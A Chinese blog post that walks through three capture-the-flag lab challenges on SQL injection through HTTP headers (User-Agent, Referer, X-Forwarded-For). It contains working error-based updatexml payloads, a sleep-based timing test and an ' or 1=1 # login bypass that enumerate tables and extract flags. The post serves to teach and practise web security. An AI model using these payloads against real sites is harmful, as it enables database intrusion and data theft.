Head注入(USERANGENT、Referer、X-forword-for)
作者:@Xuno
本文为作者原创,转载请注明出处:https://www.cnblogs.com/MaoheLaoXu/p/17175560.html
Head注入
靶场地址
原理:
head注入就是通过burp抓包,修改它的请求头useagent的数据来和数据库进行交互查询数据
第一题:
我们先查看url栏,没有get传参
再尝试post传参
在usename栏输入代码
' or 1=1 #
发现usename不行查看源代码,可以通过password传参
接着我们尝试头注入,查看源代码,发*现它使用了超全局变量$uagent = $_SERVER[‘HTTP_USER_AGENT’];并且它有个if语句必须要登陆才可以插入usergent语句,我们已经通过password找到了账号密码,并且登陆成功,所以直接用admin 和123456
利用谷歌插件,进行请求头修改
'or sleep(5),1)#
发现网页有明显的延迟,判断正确。
于是我们利用updatemlx()进行报错获取数据库名
'or updatexml(1,concat(0x7e,(select database())),1),1)#
获得数据库名:head_error
再继续查表名,输入代码
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#
查出表名
flag_head
ip
refer
uagent
user
再查字段,把下面代码输入到谷歌插件中
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #
得出所有字段名:
id
flag_h1
于是直接用最后输入sql语句代码
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
所有flag为
zKaQ-YourHd,zKaQ-Refer,zKaQ-ip
验证为第一个
第一题完
第二题:
和第一题类似
首先找到登陆账号密码
我们利用updatemlx()进行报错获取数据库名
'or updatexml(1,concat(0x7e,(select database())),1),1)#
然后直接用burp抓包修改refer,输入代码
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#
查询数据为
得到所有表名
接着查列名
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #
得到列名中有flag
直接继续查数据
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
得到所有flag
第二题和第一题区别就是一个修改useragent 一个修改refer
第二题完
第三题:
查看源代码
它这里替换的是ip
所以我们直接修改ip进行传参即可,我们用谷歌插件,X-Forwarded-For进行传参
输入代码
'or updatexml(1,concat(0x7e,(select database())),1),1) #
得到数据库名
我们继续查表名:
输入代码
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA='head_error')),1),1)#
得到所有表名
接着查列名
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='flag_head')),1),1) #
得到列名中有flag
直接继续查数据
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #
但是最后一个flag并不是zKaQ-ipi,可能是长度不够,重新输入代码
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1)),1),1) #
验证即,正确
第三题完
如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)